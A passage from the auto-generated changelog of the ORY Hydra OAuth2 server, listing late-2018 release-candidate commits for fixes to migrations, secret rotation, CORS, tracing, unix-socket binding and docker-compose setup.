Bump ory/x to 0.0.35 ([#1267](https://github.com/ory/hydra/issues/1267)) ([b503e15](https://github.com/ory/hydra/commit/b503e151f25021958099e31ba2162d879d3cc7d3)), closes [#1266](https://github.com/ory/hydra/issues/1266) * Bump testify and crypto ([#1262](https://github.com/ory/hydra/issues/1262)) ([5eadbe5](https://github.com/ory/hydra/commit/5eadbe5d0409cfc0805cd15d50f57a57cc5e2248)) * Disable modules temporarily when fetching a tool ([#1302](https://github.com/ory/hydra/issues/1302)) ([bd5b90b](https://github.com/ory/hydra/commit/bd5b90b1a71fb431cc917640acca230bcf09cbfd)) * Disable RejectInsecureRequest middleware on unix sockets ([#1259](https://github.com/ory/hydra/issues/1259)) ([af125b3](https://github.com/ory/hydra/commit/af125b3444f5ef535b122e478fd101c6dc6127a9)): We should not reject insecure requests coming in via unix socket as there is no TLS support anyways. * Disable remember and skip logic ([#1325](https://github.com/ory/hydra/issues/1325)) ([5b8549a](https://github.com/ory/hydra/commit/5b8549a46447576206122acf653f0e59b11f83b7)), closes [#1165](https://github.com/ory/hydra/issues/1165) * Enable to validate by old system secret ([#1249](https://github.com/ory/hydra/issues/1249)) ([e2b88d2](https://github.com/ory/hydra/commit/e2b88d211a27d7b0aeff4b10f7140990133337bd)): * enable to validate by old system secret when setting `ROTATED_SYSTEM_SECRET` * don't hash when rotated system secret is empty * add test for rotated system secret getter * Ffix error message of too short new system secret ([#1248](https://github.com/ory/hydra/issues/1248)) ([e2d6c44](https://github.com/ory/hydra/commit/e2d6c44635b51297667d5a84e915abe905c935b1)) * Fix available time duration unit at token flush CLI description ([#1251](https://github.com/ory/hydra/issues/1251)) ([149573a](https://github.com/ory/hydra/commit/149573aba34913bed7b4b60c81282b3be8becf85)): "1d" is unavailable unit, see: https://godoc.org/time#ParseDuration * Fix description of clients create --subject-type option ([#1305](https://github.com/ory/hydra/issues/1305)) ([fa40b43](https://github.com/ory/hydra/commit/fa40b43571a29da398103b13c3b175c6f81ef9c6)) * Fix disable-telemetry check ([#1258](https://github.com/ory/hydra/issues/1258)) ([d7be0c7](https://github.com/ory/hydra/commit/d7be0c7328bfda9e24c5aeb02389aca814e40de1)) * Fix docker-compose wrong restart values ([#1313](https://github.com/ory/hydra/issues/1313)) ([4d004bf](https://github.com/ory/hydra/commit/4d004bf67e2ec5c8fe533adea4f3bbe797060879)), closes [#1312](https://github.com/ory/hydra/issues/1312) * Fix no-open inverted flag check ([#1306](https://github.com/ory/hydra/issues/1306)) ([1aad679](https://github.com/ory/hydra/commit/1aad67920c63669ae9e8e23c4d505477a72f19e7)) * Fix swagger documentation for oauth2/token ([#1284](https://github.com/ory/hydra/issues/1284)) ([3db25f6](https://github.com/ory/hydra/commit/3db25f6a69bfe09d929556a447a27b12348159e6)), closes [#1274](https://github.com/ory/hydra/issues/1274) * Login revokation is exposed at public not admin ([#1333](https://github.com/ory/hydra/issues/1333)) ([7c4b6d4](https://github.com/ory/hydra/commit/7c4b6d4a61191fcfe947acca8b4dbf942fec3b15)), closes [#1329](https://github.com/ory/hydra/issues/1329) * Move opencollective to package.oc.json ([#1324](https://github.com/ory/hydra/issues/1324)) ([9c19d85](https://github.com/ory/hydra/commit/9c19d85a1902f2610b6ec1b153ce9e63e771022e)) * Prevent errors when calling HandleConsentRequest a second time ([#1318](https://github.com/ory/hydra/issues/1318)) ([ac2f23e](https://github.com/ory/hydra/commit/ac2f23ee6de4858efe763a6c8f3835fe8c2d3426)), closes [#1256](https://github.com/ory/hydra/issues/1256) * Refactor docker-compose for cleanness and readability ([03a28c3](https://github.com/ory/hydra/commit/03a28c3e27138fc18675810b81b2b499d147da84)): Reorganize/split docker-compose config between multiple files for cleanness and readability * Return proper refresh token expiration time ([#1300](https://github.com/ory/hydra/issues/1300)) ([a18c44e](https://github.com/ory/hydra/commit/a18c44ef3b77f0beec7590ba6f9b1e32387c5b3e)), closes [#1296](https://github.com/ory/hydra/issues/1296) * Support multi proxies between TLS termination proxy and hydra ([#1283](https://github.com/ory/hydra/issues/1283)) ([769491d](https://github.com/ory/hydra/commit/769491deecde28c75de16069218d15627f034e8e)), closes [#1282](https://github.com/ory/hydra/issues/1282) * Support transactions in SQL store ([#1277](https://github.com/ory/hydra/issues/1277)) ([65415ff](https://github.com/ory/hydra/commit/65415ff731658b822ccd9628d4d497fb6f7634db)), closes [#1247](https://github.com/ory/hydra/issues/1247) [#1247](https://github.com/ory/hydra/issues/1247) [#1247](https://github.com/ory/hydra/issues/1247) [#1247](https://github.com/ory/hydra/issues/1247) [#1247](https://github.com/ory/hydra/issues/1247) [#1247](https://github.com/ory/hydra/issues/1247) * Update docker-compose to v3 ([d5993cb](https://github.com/ory/hydra/commit/d5993cbe29ef674ca621d847d8b75ef1452e2679)), closes [#1321](https://github.com/ory/hydra/issues/1321) # [1.0.0-rc.6+oryOS.10](https://github.com/ory/hydra/compare/v1.0.0-rc.5+oryOS.10...v1.0.0-rc.6+oryOS.10) (2018-12-18) docker: Bump base docker image versions (#1243) Closes #1238 Signed-off-by: aeneasr <[email protected]> ### Documentation * Fix install guide typo GO111MOUDULE ([#1242](https://github.com/ory/hydra/issues/1242)) ([4de3d11](https://github.com/ory/hydra/commit/4de3d11de4b3c2df791c689d9e495490ff370013)), closes [#1235](https://github.com/ory/hydra/issues/1235) * Incorporates changes from version v1.0.0-rc.5+oryOS.10 ([08c7088](https://github.com/ory/hydra/commit/08c7088eaaaf0cd49f37289d9e651eef65cba481)) ### Unclassified * Bump base docker image versions ([#1243](https://github.com/ory/hydra/issues/1243)) ([bdb6634](https://github.com/ory/hydra/commit/bdb6634e3d870918b0914f4210d95ae1872e2f51)), closes [#1238](https://github.com/ory/hydra/issues/1238) * Properly declare SQL NullStrings ([#1241](https://github.com/ory/hydra/issues/1241)) ([31bf23e](https://github.com/ory/hydra/commit/31bf23e300511ed8e44670863560f730b1bf92c5)), closes [#1240](https://github.com/ory/hydra/issues/1240) # [1.0.0-rc.5+oryOS.10](https://github.com/ory/hydra/compare/v1.0.0-rc.4+oryOS.9...v1.0.0-rc.5+oryOS.10) (2018-12-13) docs: Update consent node docker image ### Documentation * Fix typo in README ([#1233](https://github.com/ory/hydra/issues/1233)) ([30a7c8e](https://github.com/ory/hydra/commit/30a7c8eebc6a97a72bb43349a27c13db7a9a9258)) * Incorporates changes from version v1.0.0-rc.4+oryOS.9 ([48ae9ef](https://github.com/ory/hydra/commit/48ae9ef26eb5b825ec151cb9d2d9722a06a39927)) * Update consent node docker image ([3358c0b](https://github.com/ory/hydra/commit/3358c0b24e6dd98754561cd165c147e04cdb333b)) * Update consent node docker image ([688706e](https://github.com/ory/hydra/commit/688706eb240f4b58b58d855a279f0c43dfa8801f)) * Update upgrade guide ([2470942](https://github.com/ory/hydra/commit/2470942340b905edf7790672030cb9f7541d77e6)) ### Unclassified * Fix help output of `hydra serve ...` ([#1229](https://github.com/ory/hydra/issues/1229)) ([a78050d](https://github.com/ory/hydra/commit/a78050d9efb289392d3d7e2e452e2f588964ebc6)): The help message is missing separation of public and admin port. * Improve introspection debugability ([#1232](https://github.com/ory/hydra/issues/1232)) ([61d068f](https://github.com/ory/hydra/commit/61d068f2ed94655a6ea742660f66c94e9d2d21af)) * Support binding frontend/backend to unix sockets ([#1230](https://github.com/ory/hydra/issues/1230)) ([aa6ab26](https://github.com/ory/hydra/commit/aa6ab26908ea5fc856c67c2650c2124d3331e184)): This allows the use of strings like "unix:/path/to/socket" as PUBLIC_HOST and/or PRIVATE_HOST. # [1.0.0-rc.4+oryOS.9](https://github.com/ory/hydra/compare/v1.0.0-rc.3+oryOS.9...v1.0.0-rc.4+oryOS.9) (2018-12-12) oauth2: Export tests and test helpers (#1212) Signed-off-by: Prateek Malhotra <[email protected]> ### Documentation * Adapt new docs id structure ([#1208](https://github.com/ory/hydra/issues/1208)) ([1397b59](https://github.com/ory/hydra/commit/1397b59542a3d1c2c0e6856bd73db7ebb99703cc)) * Fix broken links ([#1216](https://github.com/ory/hydra/issues/1216)) ([e4bc6c2](https://github.com/ory/hydra/commit/e4bc6c269c6f833248bfe2ef01950f6363f3828c)) * Incorporates changes from version v1.0.0-rc.3+oryOS.9 ([14ecdf7](https://github.com/ory/hydra/commit/14ecdf7afe26bbbfab8d232d7c9716c76cf033a2)) ### Unclassified * Add created/updated at fields ([#1207](https://github.com/ory/hydra/issues/1207)) ([24a40a0](https://github.com/ory/hydra/commit/24a40a096a6f77774e51efd734781a995897737c)), closes [#1120](https://github.com/ory/hydra/issues/1120) * Bump ory/x to v0.0.33 ([#1214](https://github.com/ory/hydra/issues/1214)) ([16a7835](https://github.com/ory/hydra/commit/16a783548abd32c6cf396a8c77fa2e785ad1ef83)) * Export tests and test helpers ([#1212](https://github.com/ory/hydra/issues/1212)) ([920bd5a](https://github.com/ory/hydra/commit/920bd5a93b6464a32e235e410fa98c4bc97751f4)) * Properly document secret rotation ([#1195](https://github.com/ory/hydra/issues/1195)) ([18ae84e](https://github.com/ory/hydra/commit/18ae84e9f7994e95783f1a954e09f307a321bd25)) * Remove dep from build chain ([#1217](https://github.com/ory/hydra/issues/1217)) ([be81806](https://github.com/ory/hydra/commit/be81806f9fff4126d68a350729d5eaa3407c4fed)) * Remove superuser requirements from postgres migrations ([#1226](https://github.com/ory/hydra/issues/1226)) ([a455fdf](https://github.com/ory/hydra/commit/a455fdf1ad3215b11c749894b19c191ac7a99b1a)), closes [#1209](https://github.com/ory/hydra/issues/1209) * Show all granted consent requests ([#1206](https://github.com/ory/hydra/issues/1206)) ([f54448c](https://github.com/ory/hydra/commit/f54448cd6d567fcab506bcc25d37b7d3952202ff)), closes [#1203](https://github.com/ory/hydra/issues/1203): Instead of just showing consent requests which have remember set to true, show all past consent request. # [1.0.0-rc.3+oryOS.9](https://github.com/ory/hydra/compare/v1.0.0-rc.2+oryOS.9...v1.0.0-rc.3+oryOS.9) (2018-12-06) Update docker-compose-twoc.yml ### Documentation * Fixed tutorial link in README.md ([#1193](https://github.com/ory/hydra/issues/1193)) ([563276b](https://github.com/ory/hydra/commit/563276b64933df528bfef4c76facb876ef535f7f)) * Incorporates changes from version v1.0.0-rc.2+oryOS.9 ([8ca315c](https://github.com/ory/hydra/commit/8ca315c90b42c4dcb4a28e7451821564e0702313)) * Migrate links from old docs to new docs ([#1197](https://github.com/ory/hydra/issues/1197)) ([55654c0](https://github.com/ory/hydra/commit/55654c084cc24a49d333e62773295cbf8bf5b31d)) * Remove duplicated refresh token section ([#1188](https://github.com/ory/hydra/issues/1188)) ([a481aa4](https://github.com/ory/hydra/commit/a481aa461259acd9545821968c149d64d4890afe)) ### Unclassified * Update docker-compose-twoc.yml ([00f1cb6](https://github.com/ory/hydra/commit/00f1cb6404c1e9abbe0270b04e6721b402137f25)) * Update docker-compose.yml ([f05077a](https://github.com/ory/hydra/commit/f05077a84f0046399f90e4675903e74a39a1dd5c)) * Add instructions for updating the `hydra-migrate` service to use mysql instead of postgres ([#1192](https://github.com/ory/hydra/issues/1192)) ([561ecb3](https://github.com/ory/hydra/commit/561ecb3e0c146deab563eaa23110b78fdf20f9ed)) * Correct composer autoloader namespace ([#1200](https://github.com/ory/hydra/issues/1200)) ([7f50b94](https://github.com/ory/hydra/commit/7f50b944ea7a0bc02f37a08c860670bd33453986)), closes [#1199](https://github.com/ory/hydra/issues/1199) * Rename grant type authorize_code to authorization_code ([#1191](https://github.com/ory/hydra/issues/1191)) ([4b97a0f](https://github.com/ory/hydra/commit/4b97a0ffe7a4578246e3818f64b7b760e8f54a23)) * Streamline method signatures ([#1190](https://github.com/ory/hydra/issues/1190)) ([c3cc80c](https://github.com/ory/hydra/commit/c3cc80cd575739dbbd83aedfa00e72c36813241c)) * Use html templates in fallback endpoints ([#1202](https://github.com/ory/hydra/issues/1202)) ([9b5bbd4](https://github.com/ory/hydra/commit/9b5bbd48a72096930af08402c5e07fce7dd770f3)) # [1.0.0-rc.2+oryOS.9](https://github.com/ory/hydra/compare/v1.0.0-rc.1+oryOS.9...v1.0.0-rc.2+oryOS.9) (2018-11-21) sql: Resolve beta.9 -> rc.1 migration issue (#1186) Closes #1185 Signed-off-by: aeneasr <[email protected]> ### Documentation * Incorporates changes from version v1.0.0-rc.1+oryOS.9 ([8352d84](https://github.com/ory/hydra/commit/8352d84f49e0938ac119a3cebc8cdea06db3a762)) ### Unclassified * Resolve beta.9 -> rc.1 migration issue ([#1186](https://github.com/ory/hydra/issues/1186)) ([1295663](https://github.com/ory/hydra/commit/1295663ada908dd431d7ffc9927feb6e2606b724)), closes [#1185](https://github.com/ory/hydra/issues/1185) # [1.0.0-rc.1+oryOS.9](https://github.com/ory/hydra/compare/v1.0.0-beta.9...v1.0.0-rc.1+oryOS.9) (2018-11-21) e2e: Add e2e tests checking consistency (#1184) Signed-off-by: aeneasr <[email protected]> ### Build System * Improve build pipeline ([#1114](https://github.com/ory/hydra/issues/1114)) ([fdea011](https://github.com/ory/hydra/commit/fdea0115e5368c13f0d22ddc75be1784e7f939b3)) ### Documentation * Add schema changes to upgrade guide ([#1082](https://github.com/ory/hydra/issues/1082)) ([c5502c8](https://github.com/ory/hydra/commit/c5502c8c13730dc248955b9d8507ab5ac017996d)), closes [#1069](https://github.com/ory/hydra/issues/1069) * Auto-generate appendix ([#1174](https://github.com/ory/hydra/issues/1174)) ([1e80d6a](https://github.com/ory/hydra/commit/1e80d6a978beb04cc02baeda016d5891d66ac1a1)) * Auto-generate appendix ([#1174](https://github.com/ory/hydra/issues/1174)) ([5c3dffb](https://github.com/ory/hydra/commit/5c3dffbf58a8689093c51b5e2820978c9a969138)) * Fix benchmark path ([aa0926c](https://github.com/ory/hydra/commit/aa0926cad35ca4608b082d2957c50faebd569e1f)) * Fix benchmark path ([61c6375](https://github.com/ory/hydra/commit/61c6375a521e155dc1bcb5555cbc6466b7465b3a)) * Fix broken benchmark path ([891aabe](https://github.com/ory/hydra/commit/891aabedad778dc01a39e6241ce69982324217ee)) * Fix broken benchmark path ([af56862](https://github.com/ory/hydra/commit/af568625ddd685e496810811b9ff783448039160)) * Fix migrate sql command at upgrading guide ([#1183](https://github.com/ory/hydra/issues/1183)) ([9f991f2](https://github.com/ory/hydra/commit/9f991f2baf39fdeb059a498a16aa4d20df59b90e)) * Incorporates changes from version v1.0.0-beta.9 ([4b52a07](https://github.com/ory/hydra/commit/4b52a0763a38f2e8ef724d9711f91b5a3dd63663)) * Link to proper benchmarks section ([#1102](https://github.com/ory/hydra/issues/1102)) ([b133d79](https://github.com/ory/hydra/commit/b133d796a9a1775b74d46ef9ffaeb94bf8970761)): Updated URL of performance benchmarks results. * Update link to security console ([26db8db](https://github.com/ory/hydra/commit/26db8dba7a2d7bf74251a48ae5d6ac6e19315dc9)) * Update upgrade guide ([6814af0](https://github.com/ory/hydra/commit/6814af0c34b8760f166be9644a947568707401ac)) * Updates issue and pull request templates ([8616aca](https://github.com/ory/hydra/commit/8616aca1c7bb5aedae0f88bb4c8e9424b99397a6)) * Updates issue and pull request templates ([#1096](https://github.com/ory/hydra/issues/1096)) ([a6478c3](https://github.com/ory/hydra/commit/a6478c3a7f1157d82622233fc2be3301d1b497cb)) * Updates issue and pull request templates ([#1101](https://github.com/ory/hydra/issues/1101)) ([c62d8f3](https://github.com/ory/hydra/commit/c62d8f3157b4ca56969efc082797d084e86424c1)) ### Unclassified * docs. Update installation instructinos ([6f72a57](https://github.com/ory/hydra/commit/6f72a57a5065490b0d17d718c91324d8f3abdd69)) * sdk/js: Declare opencollective as devdep (#1109) ([d3a0717](https://github.com/ory/hydra/commit/d3a0717a8064241868e7f5833e8dcbd55b70343e)), closes [#1109](https://github.com/ory/hydra/issues/1109) * Move dependencies to ory/x (#1095) ([65b7406](https://github.com/ory/hydra/commit/65b7406abe9e94011235776af009d0da94b01617)), closes [#1095](https://github.com/ory/hydra/issues/1095) * Switch to go modules and add vendor (#1077) ([2b491c9](https://github.com/ory/hydra/commit/2b491c9e277cc7a8488030d94c8fc5143e0c4cf7)), closes [#1077](https://github.com/ory/hydra/issues/1077) [#1074](https://github.com/ory/hydra/issues/1074) * change go-resty import path for gopkg.in/resty.v1 (#1064) ([9ec5fbc](https://github.com/ory/hydra/commit/9ec5fbc148916b2b1cb49d719b596752542beb73)), closes [#1064](https://github.com/ory/hydra/issues/1064): * sdk/go: Change go-rest import path * bump fosite version to 0.22.0 - brings in changes to the JWTStrategy ([0f0a204](https://github.com/ory/hydra/commit/0f0a2044116e21b15782e2e0d87dd4894c23fdd0)) * cmd/server: Export Handler bootstrap functions (#1023) ([60e3dab](https://github.com/ory/hydra/commit/60e3dab1b5ede60f630f763e3eb0a830ca9f2b96)), closes [#1023](https://github.com/ory/hydra/issues/1023) * Use latest version of sqlcon ([0fbddcc](https://github.com/ory/hydra/commit/0fbddcce01bbf3aed2870d981bdf6887464b276a)) * Add ability to specify consent and login lifespan ([#1155](https://github.com/ory/hydra/issues/1155)) ([4a8cf84](https://github.com/ory/hydra/commit/4a8cf84f15a00a27c4fce9fded7f043fb3e8cf7f)), closes [#1057](https://github.com/ory/hydra/issues/1057) * Add an instrumented implementation of the bcrypt hasher that creates spans around calls to Hash and Compare ([26d1d12](https://github.com/ory/hydra/commit/26d1d12c77b69dc155ba8ba89b629c2743023969)) * Add e2e tests checking consistency ([#1184](https://github.com/ory/hydra/issues/1184)) ([328d617](https://github.com/ory/hydra/commit/328d6178db009ca87014ec48b198838142874867)) * Add error response if consent or login challenge is expired ([#1098](https://github.com/ory/hydra/issues/1098)) ([bbc4020](https://github.com/ory/hydra/commit/bbc4020064378a838284713a53de1dc19efc0ade)), closes [#1056](https://github.com/ory/hydra/issues/1056) * Add foreign key migrations ([d194211](https://github.com/ory/hydra/commit/d19421193988b6dd3ca66fb3300f13fe28b7dc2d)), closes [#1131](https://github.com/ory/hydra/issues/1131) * Add foreign keys ([604051b](https://github.com/ory/hydra/commit/604051bc9f83588e35c8a4da1e396fee793eb61d)), closes [#1131](https://github.com/ory/hydra/issues/1131) * Add https option to token user command ([#1150](https://github.com/ory/hydra/issues/1150)) ([2ff6561](https://github.com/ory/hydra/commit/2ff65617c08bf186e3b2e20ad9427eb2c4e5b9e7)), closes [#1147](https://github.com/ory/hydra/issues/1147) * Add login_challenge and login_session_id to consent payload ([#1105](https://github.com/ory/hydra/issues/1105)) ([8038a74](https://github.com/ory/hydra/commit/8038a74563e6e1d06607dd0ae4c14194b2393dbe)) * Add missing indices ([#1157](https://github.com/ory/hydra/issues/1157)) ([0b26a63](https://github.com/ory/hydra/commit/0b26a6330ff379f70cff5fa958b7247b4b49867d)), closes [#1138](https://github.com/ory/hydra/issues/1138) * Add OAuth2 audience claim and improve migrations ([#1145](https://github.com/ory/hydra/issues/1145)) ([3a10df9](https://github.com/ory/hydra/commit/3a10df9bff259dee9b0d635b6522e098fbdd8cc3)), closes [#883](https://github.com/ory/hydra/issues/883) [#1144](https://github.com/ory/hydra/issues/1144): This patch adds the ability to whitelist and request an audience when performing any OAuth 2.0 Flow. The audience is useful in multi- tenant environments where access tokens should be restricted to certain resources. * Add options cors middleware handler ([#1125](https://github.com/ory/hydra/issues/1125)) ([1f3a123](https://github.com/ory/hydra/commit/1f3a1231c0a5813395d936107f3a155b2fad8581)) * Add pk field to sql struct ([0e4e07b](https://github.com/ory/hydra/commit/0e4e07bd3a73b2dba494df089dc67e36d181ae6f)) * Add serial pk to sql schema ([e5e9685](https://github.com/ory/hydra/commit/e5e96857307294206c55f28788a07d24b8b319bc)), closes [#1059](https://github.com/ory/hydra/issues/1059) * Add serial pk to sql schema ([033c2e2](https://github.com/ory/hydra/commit/033c2e24453f84ed51f50b39175ee2825640f5d6)), closes [#1059](https://github.com/ory/hydra/issues/1059) * Add SessionsPath const ([#1027](https://github.com/ory/hydra/issues/1027)) ([3ee0b3f](https://github.com/ory/hydra/commit/3ee0b3f3bf7b44fab3f5a51d19ae2c61629ba7bd)) * Add support for distributed tracing ([#1019](https://github.com/ory/hydra/issues/1019)) ([1cd4d17](https://github.com/ory/hydra/commit/1cd4d174988600a0f03fdb88f0f9e2fe19d268fa)) * Add support for tracing DB interactions ([#1115](https://github.com/ory/hydra/issues/1115)) ([f32d1b0](https://github.com/ory/hydra/commit/f32d1b084bcab348f66bcb1dae1f76e416090e65)): * tracing: add support for tracing interactions with the database * tracing: add tests for new BackendConnector options * tracing: • export connector options and hide hydra specific connector options • remove config for allowing SQL query args to be included in spans * tracing: use keyed fields when instantiating TracedBCrypt + helper to determine if Tracing has been configured to DRY up code * tracing: document the TRACE_ environment variables * tracing: fixes bug in WithTracing() and adds test coverage * tracing: add sample tracing configuration in docker-compose * Add unit tests for instrumented bcrypt hasher ([566dd45](https://github.com/ory/hydra/commit/566dd45227dd1807e900cca0b222a44c622e9f1b)) * Added test coverage to cover the unique constraint placed on the `request_id` column in the hydra_oauth2_access and hydra_oauth2_refresh tables. ([4401dd9](https://github.com/ory/hydra/commit/4401dd96c256e2ebcc64e3e21d704048fab912cd)) * Bump fosite to 0.24.0 ([#1062](https://github.com/ory/hydra/issues/1062)) ([2ec8f81](https://github.com/ory/hydra/commit/2ec8f81d6b14c5ca35ad4dc01280c4dde3bf8ad2)) * Bump version to 0.23.0 and incorporate breaking changes made to the Hasher interface ([e96c7a4](https://github.com/ory/hydra/commit/e96c7a401f0604ca1c5c34e59b5244421457f085)) * Clean up foreign key work ([3efa71e](https://github.com/ory/hydra/commit/3efa71ea525bc6314cdaf46fae92964889ee42b6)), closes [#1131](https://github.com/ory/hydra/issues/1131) * Clean up format ([f26a66d](https://github.com/ory/hydra/commit/f26a66d5f1f47b967d07d8842a6e7232ef6aa5d5)) * Clean up SDKs ([671b69c](https://github.com/ory/hydra/commit/671b69c7638a158cfdce5154901857f18b717e79)) * Do not echo secrets if explicitly set ([5b484d7](https://github.com/ory/hydra/commit/5b484d7937cf066e21bb4a726450649ed5fb04f7)) * Document userinfo as GET instead of POST ([#1161](https://github.com/ory/hydra/issues/1161)) ([fa19d23](https://github.com/ory/hydra/commit/fa19d23983b83277a29c16f51bf4fc994b13f965)), closes [#1049](https://github.com/ory/hydra/issues/1049) * Enable cors for wellknown endpoints ([#1118](https://github.com/ory/hydra/issues/1118)) ([3466664](https://github.com/ory/hydra/commit/34666645226b2fcfc450a1e08a0465b4ffb26349)) * Export test helpers ([#1051](https://github.com/ory/hydra/issues/1051)) ([85eb863](https://github.com/ory/hydra/commit/85eb863f3400cde91ce977e58323c31f82f59710)), closes [#1043](https://github.com/ory/hydra/issues/1043) * Fix broken JWK definitions and add Java SDK ([#1045](https://github.com/ory/hydra/issues/1045)) ([8555973](https://github.com/ory/hydra/commit/85559731db6578a27ef91e44c06b3fc041ed1e7b)) * Fix flaky port finder ([a68cca9](https://github.com/ory/hydra/commit/a68cca918c38ad11ab15810836a52ddbe7e1427f)), closes [#1054](https://github.com/ory/hydra/issues/1054) * Fix flaky random test ([c0b7a39](https://github.com/ory/hydra/commit/c0b7a393a454d07376754b4d68b743054ce42bb2)), closes [#1053](https://github.com/ory/hydra/issues/1053) * Fix missing session data in jwt at ([#1113](https://github.com/ory/hydra/issues/1113)) ([80c9d34](https://github.com/ory/hydra/commit/80c9d3476b941bfcd342873c5605a19a39ac44d7)), closes [#1106](https://github.com/ory/hydra/issues/1106): This patch fixes missing session data in OAuth2 Access Tokens formatted as JSON Web Tokens. It also improves e2e tests which now test if claims and data are set correctly, including after refreshes. * Fix test to pass non-nil context ([c525bd0](https://github.com/ory/hydra/commit/c525bd0fa5b2eb28d3dc60ffe5b966278924a4ce)) * Fixes broken test as a result of the unique constraint placed on the request_id column ([1cf0850](https://github.com/ory/hydra/commit/1cf0850520a4c3b75103bc2afd3e8aed01bde979)) * Force migration order ([e152f75](https://github.com/ory/hydra/commit/e152f75bee06a2fb3354a5fdcdfccb04f33ef623)), closes [#1131](https://github.com/ory/hydra/issues/1131) * Ignore row count in revoke ([#1173](https://github.com/ory/hydra/issues/1173)) ([c9f4a16](https://github.com/ory/hydra/commit/c9f4a167bd2568cc73423f8d8716c3075a3355ff)), closes [#1168](https://github.com/ory/hydra/issues/1168) * Ignore row count in revoke ([#1173](https://github.com/ory/hydra/issues/1173)) ([ed1a6f6](https://github.com/ory/hydra/commit/ed1a6f6ae3e02f987071f127f811097d56fe4003)), closes [#1168](https://github.com/ory/hydra/issues/1168) * Improve e2e test pipeline ([#1180](https://github.com/ory/hydra/issues/1180)) ([c36f9a4](https://github.com/ory/hydra/commit/c36f9a462d7a413d857f06cfbf0fa3c38f09a471)) * Improve issuer error message ([#1152](https://github.com/ory/hydra/issues/1152)) ([ef27911](https://github.com/ory/hydra/commit/ef279119971c357810d757aada5475c9de99eb3b)), closes [#1133](https://github.com/ory/hydra/issues/1133) * Improve migrate error messages ([57378ed](https://github.com/ory/hydra/commit/57378ed8dab2630ded142e437fa1bdbc4f045532)), closes [#1026](https://github.com/ory/hydra/issues/1026) * Improve migration test suite ([9a237db](https://github.com/ory/hydra/commit/9a237db42b9091fc071b82c28b7145ef7b317432)), closes [#1131](https://github.com/ory/hydra/issues/1131) * Improve migration tests ([3cf9f5f](https://github.com/ory/hydra/commit/3cf9f5fba761a3499f3166150104b364890af062)), closes [#1131](https://github.com/ory/hydra/issues/1131) * Improve token user error handling ([#1149](https://github.com/ory/hydra/issues/1149)) ([8cc62a1](https://github.com/ory/hydra/commit/8cc62a1a565916baca64670c5583018df385604d)), closes [#1143](https://github.com/ory/hydra/issues/1143) * Instantiate PKCE after oidc ([#1123](https://github.com/ory/hydra/issues/1123)) ([2dd6add](https://github.com/ory/hydra/commit/2dd6add7f3503480d9aa4ab68945cf28cf779c91)), closes [#1060](https://github.com/ory/hydra/issues/1060) * Introduce auto-increment sql pk ([e876b28](https://github.com/ory/hydra/commit/e876b285c700ca4deb11921baa1293b3044b67a7)) * Make client registration endpoint configurable ([#1167](https://github.com/ory/hydra/issues/1167)) ([ddafef5](https://github.com/ory/hydra/commit/ddafef543cbb828d8dcb460b7ba5005880db332e)), closes [#1072](https://github.com/ory/hydra/issues/1072) * Make run-appendix executable ([3f54872](https://github.com/ory/hydra/commit/3f5487294d657240246ed8a4310cb57937399868)) * Make run-appendix executable ([c9cd0a3](https://github.com/ory/hydra/commit/c9cd0a3e2f007d0bfa22097ad065365aa1dc9cea)) * Make tests compatible with foreign keys ([fcb7019](https://github.com/ory/hydra/commit/fcb7019e51fe2aabb7f31f0309bedfc814663ceb)), closes [#1131](https://github.com/ory/hydra/issues/1131) * Minor bug fix in JWK sql migrations test case ([#1136](https://github.com/ory/hydra/issues/1136)) ([48b2a22](https://github.com/ory/hydra/commit/48b2a2278cc371d800891dd4a3ffeea9322a6140)), closes [#1135](https://github.com/ory/hydra/issues/1135) * Only fetch latest consent state ([#1124](https://github.com/ory/hydra/issues/1124)) ([0df90c8](https://github.com/ory/hydra/commit/0df90c86f511a0c5e29479235fbedb61d5b7a22e)), closes [#1119](https://github.com/ory/hydra/issues/1119): This patch resolves an issue where authorize code flow response times deteriorate as users log in often. * Pass context through to sql store ([b76d5d8](https://github.com/ory/hydra/commit/b76d5d83c652fcc89ca1ecc70ef5da450a1a689f)) * Pass context thru to method that makes the query for tracing integration ([bd9c88d](https://github.com/ory/hydra/commit/bd9c88da72e04d098d0989986d7b552a522d4931)) * Pass the request context along to the sql store. ([b23029b](https://github.com/ory/hydra/commit/b23029b96ccd430b088e518e8d69da09819a1437)) * Propagate context in migrate command ([14b618b](https://github.com/ory/hydra/commit/14b618bb6325943743037cc910721a7239fda67a)) * Propagate go context down the call path ([4188f69](https://github.com/ory/hydra/commit/4188f69c454bca627020f9e3d05cdfaf26f71ede)) * Propagate go context down the call path ([5dda1a2](https://github.com/ory/hydra/commit/5dda1a2dbb70192971d9ca92db8ff6144eee4fc8)) * Properly propagate acr value ([#1160](https://github.com/ory/hydra/issues/1160)) ([e88c7b6](https://github.com/ory/hydra/commit/e88c7b630ba2b39bc70c98c4bf5077acacddd585)), closes [#1032](https://github.com/ory/hydra/issues/1032) * Register healthx.AliveCheckPath route for frontend ([#1128](https://github.com/ory/hydra/issues/1128)) ([554a78d](https://github.com/ory/hydra/commit/554a78d82fa748a661c4b69a6dd95d83eccff06d)): This is needed for external health checks (from loadbalancing infrastructure for example) and black box monitoring. * Remove bad tracing config from docker-compose.yml ([845808f](https://github.com/ory/hydra/commit/845808f1403a4347446f80d85df21b093c60a6f7)) * Resolve broken test ([cefaf46](https://github.com/ory/hydra/commit/cefaf46213405014d52cab450cfa23e295f34201)) * Resolve broken wildcard cors ([#1159](https://github.com/ory/hydra/issues/1159)) ([330172b](https://github.com/ory/hydra/commit/330172b1eb1047f1315b3d37f218553de4e3647d)), closes [#1073](https://github.com/ory/hydra/issues/1073): Resolves an issue where wildcards would incorrectly be used as literal strings. * Resolve index/fk regression issues ([#1178](https://github.com/ory/hydra/issues/1178)) ([11924bf](https://github.com/ory/hydra/commit/11924bf5f72fb830aed55dd57c879bb69e0013d7)), closes [#1177](https://github.com/ory/hydra/issues/1177) * Resolve issues with secret migration ([#1129](https://github.com/ory/hydra/issues/1129)) ([c8104f4](https://github.com/ory/hydra/commit/c8104f4a43ec1578c2c4b7a4455ddf78a6ea1d8b)), closes [#1026](https://github.com/ory/hydra/issues/1026): This patch resolves an issue which made it impossible to rotate secrets because an un-hashed version was used. * Resolve panic in migration handler ([#1151](https://github.com/ory/hydra/issues/1151)) ([94dae22](https://github.com/ory/hydra/commit/94dae2293c31ff6890b4739e3249e434a6e54a4d)), closes [#1137](https://github.com/ory/hydra/issues/1137) * Resolve printf warnings ([#1039](https://github.com/ory/hydra/issues/1039)) ([145f89c](https://github.com/ory/hydra/commit/145f89c65099c1e1906d75cd4cdcc04cf638fec5)) * Resolve refresh flow issues with audience, 